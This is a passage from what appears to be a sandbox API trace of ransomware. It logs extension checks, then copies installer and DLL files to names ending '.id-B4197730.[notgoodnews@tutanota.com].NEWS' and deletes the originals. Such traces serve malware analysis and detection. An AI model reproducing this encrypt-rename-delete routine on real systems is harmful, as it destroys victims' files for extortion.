(lpString1=".pdf", lpString2=".msi") returned 1 [0068.468] lstrlenW (lpString=".xls") returned 4 [0068.468] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.468] lstrlenW (lpString=".xlsx") returned 5 [0068.468] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0068.468] lstrlenW (lpString=".ppt") returned 4 [0068.468] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString=".zip") returned 4 [0068.468] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.468] lstrlenW (lpString=".rar") returned 4 [0068.468] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.468] lstrlenW (lpString=".bz2") returned 4 [0068.468] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.468] lstrlenW (lpString=".7z") returned 3 [0068.468] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString=".dbf") returned 4 [0068.468] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString=".1cd") returned 4 [0068.468] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.468] lstrlenW (lpString=".jpg") returned 4 [0068.468] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString=".doc") returned 4 [0068.469] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.469] lstrlenW (lpString=".docx") returned 5 [0068.469] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0068.469] lstrlenW (lpString=".pdf") returned 4 [0068.469] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.469] lstrlenW (lpString=".xls") returned 4 [0068.469] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.469] lstrlenW (lpString=".xlsx") returned 5 [0068.469] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0068.469] lstrlenW (lpString=".ppt") returned 4 [0068.469] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString=".zip") returned 4 [0068.469] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.469] lstrlenW (lpString=".rar") returned 4 [0068.469] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.469] lstrlenW (lpString=".bz2") returned 4 [0068.469] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.469] lstrlenW (lpString=".7z") returned 3 [0068.469] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString=".dbf") returned 4 [0068.469] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString=".1cd") returned 4 [0068.469] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.469] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0068.469] lstrlenW (lpString=".jpg") returned 4 [0068.469] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.470] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0068.470] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0068.470] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0068.470] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=495616) returned 1 [0068.470] CloseHandle (hObject=0x330) returned 1 [0068.470] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0068.470] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.470] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0068.470] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.470] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.470] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0068.471] GetLastError () returned 0x0 [0068.471] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x79000, lpOverlapped=0x0) returned 1 [0069.054] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x79010, lpOverlapped=0x0) returned 1 [0069.064] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.064] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x100, lpOverlapped=0x0) returned 1 [0069.064] SetEndOfFile (hFile=0x380) returned 1 [0069.064] CloseHandle (hObject=0x380) returned 1 [0069.075] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.075] SetEndOfFile (hFile=0x330) returned 1 [0069.080] CloseHandle (hObject=0x330) returned 1 [0069.080] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0069.080] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0069.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.080] lstrlenW (lpString=".doc") returned 4 [0069.080] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.080] lstrlenW (lpString=".docx") returned 5 [0069.080] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0069.081] lstrlenW (lpString=".pdf") returned 4 [0069.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString=".xls") returned 4 [0069.081] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString=".xlsx") returned 5 [0069.081] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0069.081] lstrlenW (lpString=".ppt") returned 4 [0069.081] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString=".zip") returned 4 [0069.081] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString=".rar") returned 4 [0069.081] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString=".bz2") returned 4 [0069.081] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.081] lstrlenW (lpString=".7z") returned 3 [0069.081] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString=".dbf") returned 4 [0069.081] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString=".1cd") returned 4 [0069.081] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString=".jpg") returned 4 [0069.081] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.081] lstrlenW (lpString=".doc") returned 4 [0069.081] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.081] lstrlenW (lpString=".docx") returned 5 [0069.081] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0069.081] lstrlenW (lpString=".pdf") returned 4 [0069.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.081] lstrlenW (lpString=".xls") returned 4 [0069.081] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.082] lstrlenW (lpString=".xlsx") returned 5 [0069.082] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0069.082] lstrlenW (lpString=".ppt") returned 4 [0069.082] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.082] lstrlenW (lpString=".zip") returned 4 [0069.082] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.082] lstrlenW (lpString=".rar") returned 4 [0069.082] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.082] lstrlenW (lpString=".bz2") returned 4 [0069.082] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.082] lstrlenW (lpString=".7z") returned 3 [0069.082] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.082] lstrlenW (lpString=".dbf") returned 4 [0069.082] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.082] lstrlenW (lpString=".1cd") returned 4 [0069.082] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0069.082] lstrlenW (lpString=".jpg") returned 4 [0069.082] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.082] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0069.082] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0069.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0069.083] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=94720) returned 1 [0069.083] CloseHandle (hObject=0x330) returned 1 [0069.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0069.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0069.083] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.083] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0069.083] GetLastError () returned 0x0 [0069.083] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x17200, lpOverlapped=0x0) returned 1 [0070.839] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x17210, lpOverlapped=0x0) returned 1 [0070.844] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0070.844] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf4, lpOverlapped=0x0) returned 1 [0070.844] SetEndOfFile (hFile=0x380) returned 1 [0070.845] CloseHandle (hObject=0x380) returned 1 [0070.847] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0070.847] SetEndOfFile (hFile=0x330) returned 1 [0070.849] CloseHandle (hObject=0x330) returned 1 [0070.849] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0070.849] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0070.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.849] lstrlenW (lpString=".doc") returned 4 [0070.849] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString=".docx") returned 5 [0070.850] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0070.850] lstrlenW (lpString=".pdf") returned 4 [0070.850] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.850] lstrlenW (lpString=".xls") returned 4 [0070.850] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.850] lstrlenW (lpString=".xlsx") returned 5 [0070.850] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0070.850] lstrlenW (lpString=".ppt") returned 4 [0070.850] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString=".zip") returned 4 [0070.850] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.850] lstrlenW (lpString=".rar") returned 4 [0070.850] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.850] lstrlenW (lpString=".bz2") returned 4 [0070.850] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString=".7z") returned 3 [0070.850] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString=".dbf") returned 4 [0070.850] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString=".1cd") returned 4 [0070.850] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString=".jpg") returned 4 [0070.850] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.850] lstrlenW (lpString=".doc") returned 4 [0070.850] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.850] lstrlenW (lpString=".docx") returned 5 [0070.850] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0070.850] lstrlenW (lpString=".pdf") returned 4 [0070.851] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.851] lstrlenW (lpString=".xls") returned 4 [0070.851] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.851] lstrlenW (lpString=".xlsx") returned 5 [0070.851] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0070.851] lstrlenW (lpString=".ppt") returned 4 [0070.851] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.851] lstrlenW (lpString=".zip") returned 4 [0070.851] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.851] lstrlenW (lpString=".rar") returned 4 [0070.851] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.851] lstrlenW (lpString=".bz2") returned 4 [0070.851] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.851] lstrlenW (lpString=".7z") returned 3 [0070.851] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.851] lstrlenW (lpString=".dbf") returned 4 [0070.851] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.851] lstrlenW (lpString=".1cd") returned 4 [0070.851] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0070.851] lstrlenW (lpString=".jpg") returned 4 [0070.851] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.851] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0070.851] lstrlenW (lpString="SetupUi.dll") returned 11 [0070.851] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0070.852] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=295248) returned 1 [0070.852] CloseHandle (hObject=0x330) returned 1 [0070.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0070.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0070.852] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0070.852] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0070.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0070.853] GetLastError () returned 0x0 [0070.853] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x48150, lpOverlapped=0x0) returned 1 [0070.860] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x48160, lpOverlapped=0x0) returned 1 [0070.866] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0070.866] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0070.866] SetEndOfFile (hFile=0x380) returned 1 [0070.866] CloseHandle (hObject=0x380) returned 1 [0071.492] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.492] SetEndOfFile (hFile=0x330) returned 1 [0071.495] CloseHandle (hObject=0x330) returned 1 [0071.495] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0071.495] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0071.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.496] lstrlenW (lpString=".doc") returned 4 [0071.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString=".docx") returned 5 [0071.496] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0071.496] lstrlenW (lpString=".pdf") returned 4 [0071.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString=".xls") returned 4 [0071.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString=".xlsx") returned 5 [0071.496] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0071.496] lstrlenW (lpString=".ppt") returned 4 [0071.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.496] lstrlenW (lpString=".zip") returned 4 [0071.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString=".rar") returned 4 [0071.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.496] lstrlenW (lpString=".bz2") returned 4 [0071.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.496] lstrlenW (lpString=".7z") returned 3 [0071.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.496] lstrlenW (lpString=".dbf") returned 4 [0071.496] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".1cd") returned 4 [0071.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".jpg") returned 4 [0071.497] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".doc") returned 4 [0071.497] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString=".docx") returned 5 [0071.497] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0071.497] lstrlenW (lpString=".pdf") returned 4 [0071.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString=".xls") returned 4 [0071.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString=".xlsx") returned 5 [0071.497] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0071.497] lstrlenW (lpString=".ppt") returned 4 [0071.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".zip") returned 4 [0071.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString=".rar") returned 4 [0071.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.497] lstrlenW (lpString=".bz2") returned 4 [0071.497] 